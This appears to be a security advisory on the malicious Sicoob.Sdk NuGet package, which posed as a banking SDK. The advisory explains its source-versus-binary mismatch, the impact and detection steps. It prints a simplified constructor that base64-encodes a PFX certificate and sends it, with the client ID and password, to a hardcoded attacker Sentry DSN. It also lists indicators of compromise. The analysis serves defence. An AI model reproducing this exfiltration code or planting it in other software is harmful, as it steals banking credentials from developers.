critical

CVE

Not assigned

CWE

CWE-506, CWE-522

Affected Surface

Sicoob.Sdk 2.0.0 through 2.0.4 on NuGet, NuGet owner account sicoob, Sicoob-Cooperativa GitHub organization and generated Sicoob module packages, .NET 8 applications instantiating SicoobClient with production client IDs, PFX paths, and PFX passwords, CI/CD or production deployments using Sicoob mTLS banking API credentials

Sicoob.Sdk is a malicious NuGet supply-chain package that abused the exact trust boundary a banking SDK is expected to occupy. The package claimed to be an official .NET 8 SDK for Sicoob API integrations, asked developers for a client ID, a .pfx certificate path, and the PFX password, then leaked those values during normal client construction.

Socket reported the malicious releases on 28 May 2026 and NuGet blocked the package after abuse reporting. The confirmed malicious versions are Sicoob.Sdk 2.0.0 through 2.0.4, all published under the sicoob NuGet owner account. The related Sicoob-Cooperativa.* module packages should be treated as untrusted by association because they were distributed by the same suspicious identity and pulled into the malicious wrapper.

Affected package set

Confirmed malicious:

  • Sicoob.Sdk 2.0.0 through 2.0.4

Related untrusted package set from the same publishing identity:

  • Sicoob-Cooperativa.Sicoob.Auth
  • Sicoob-Cooperativa.Sicoob.CobrancaV3
  • Sicoob-Cooperativa.Sicoob.ContaCorrente
  • Sicoob-Cooperativa.Sicoob.ConvenioPagamentos
  • Sicoob-Cooperativa.Sicoob.Investimentos
  • Sicoob-Cooperativa.Sicoob.OpenFinance
  • Sicoob-Cooperativa.Sicoob.PagamentosPix
  • Sicoob-Cooperativa.Sicoob.PagamentosV3
  • Sicoob-Cooperativa.Sicoob.Pix
  • Sicoob-Cooperativa.Sicoob.Poupanca
  • Sicoob-Cooperativa.Sicoob.SpbTransferencias

The package documentation and generated module pages present the SDK as handling mTLS certificate authentication for Sicoob APIs. That makes the malicious behavior especially damaging: the package does not have to search the filesystem for secrets. The user hands the secrets directly to the API it claims to implement.

Constructor-time exfiltration

Socket’s static and dynamic analysis places the exfiltration in lib/net8.0/Sicoob.Sdk.dll. When production mode is used, the constructor initializes Sentry with a hardcoded DSN, reads the supplied PFX archive from disk, base64-encodes it, and sends a Sentry message containing the client ID, PFX password, and encoded certificate.

The important data flow is short:

new SicoobClient(clientId, pfxPath, pfxPassword, isSandbox: false)
  -> SentrySdk.Init(hardcoded DSN)
  -> File.ReadAllBytes(PfxPath)
  -> Convert.ToBase64String(pfxBytes)
  -> SentrySdk.CaptureMessage(clientId + pfxPassword + pfxBase64)

A simplified version of the malicious logic looks like this:

public SicoobClient(string clientId, string pfxPath, string pfxPassword, bool isSandbox)
{
    ClientId = clientId;
    PfxPath = pfxPath;
    PfxPassword = pfxPassword;

    if (!isSandbox)
    {
        SentrySdk.Init("https://d565e3f03d0b1a7c8935d7ff94237316@o4511335034847232.ingest.de.sentry.io/4511337546317904");

        var pfx = Convert.ToBase64String(File.ReadAllBytes(PfxPath));
        SentrySdk.CaptureMessage(
            $"cliend_id: {ClientId}\\npass: {PfxPassword}\\npfx: {pfx}"
        );
    }
}

The isSandbox branch matters. The public usage examples describe production usage with sandbox disabled. That puts the exfiltration path on the code path most likely to receive real banking credentials, while making casual sandbox tests less likely to emit the same outbound event.

Socket also identified a separate Sentry capture path for raw boleto API responses. Boleto responses can contain payment slip data such as transaction identifiers, payment status, amounts, due dates, and payer or payee context. That expands the incident from credential theft into possible financial data exposure.

Source/package mismatch

The most important supply-chain signal is not just the Sentry code. It is the mismatch between the public source and the published NuGet artifact.

The visible GitHub source under Sicoob-Cooperativa presents ordinary SDK behavior: it stores the supplied client ID and PFX parameters, loads the certificate with X509Certificate2, and configures HttpClientHandler for mutual TLS. Socket reported that the visible source does not contain SentrySdk.Init, SentrySdk.CaptureMessage, the Sentry ingestion host, File.ReadAllBytes(this.PfxPath), or Convert.ToBase64String(...) exfiltration logic found in the compiled NuGet DLL.

That means a repository review alone would not catch the attack. The malicious payload lived in the distributed binary artifact:

GitHub source facade
  -> normal-looking SicoobClient.cs
  -> no visible exfiltration path

NuGet artifact
  -> lib/net8.0/Sicoob.Sdk.dll
  -> Sentry dependency and hardcoded DSN
  -> constructor leaks PFX material

This pattern is becoming common in registry attacks: the repository exists to pass trust checks and search-result scrutiny, while the registry artifact contains extra compiled code.

Impact

A PFX archive often contains a client certificate and private key. The PFX password unlocks that archive. If the exposed client ID, PFX archive, and password are valid, an attacker may be able to impersonate the victim’s Sicoob API integration, subject to Sicoob-side certificate binding, API scopes, source-IP controls, fraud monitoring, and approval workflows.

The worst-case impact includes unauthorized token issuance, Pix payment activity, boleto operations, account balance or statement access, Open Finance operations, and downstream exposure of business or customer financial data.

CI/CD exposure is particularly serious. If a build or deployment job instantiated SicoobClient with production credentials from mounted secrets or protected variables, the exfiltration would originate from an automation environment that may also hold deployment tokens, signing material, and production configuration.

Detection and response

Search manifests and lockfiles for the malicious package and related modules:

dotnet list package | grep -i sicoob
grep -R "Sicoob.Sdk\|Sicoob-Cooperativa" *.csproj packages.lock.json Directory.Packages.props

Search source and deployment configuration for constructor usage:

new SicoobClient(
    clientId,
    pfxPath,
    pfxPassword,
    false
)

Search network telemetry for the Sentry ingestion host:

o4511335034847232.ingest.de.sentry.io
4511337546317904
d565e3f03d0b1a7c8935d7ff94237316

If any affected version was used with real credentials, assume the PFX material and client ID are compromised. Remove the package, revoke and reissue exposed certificates, rotate PFX passwords, rotate or disable affected client IDs where possible, and review Sicoob API logs for unusual token issuance, Pix, boleto, Open Finance, payment, transfer, statement, and account-data activity.

Longer term, apply binary artifact review to dependencies that process authentication material. For SDKs that handle certificates, OAuth tokens, signing keys, or bank credentials, the artifact being installed must be verified, not only the repository linked from the package page.

References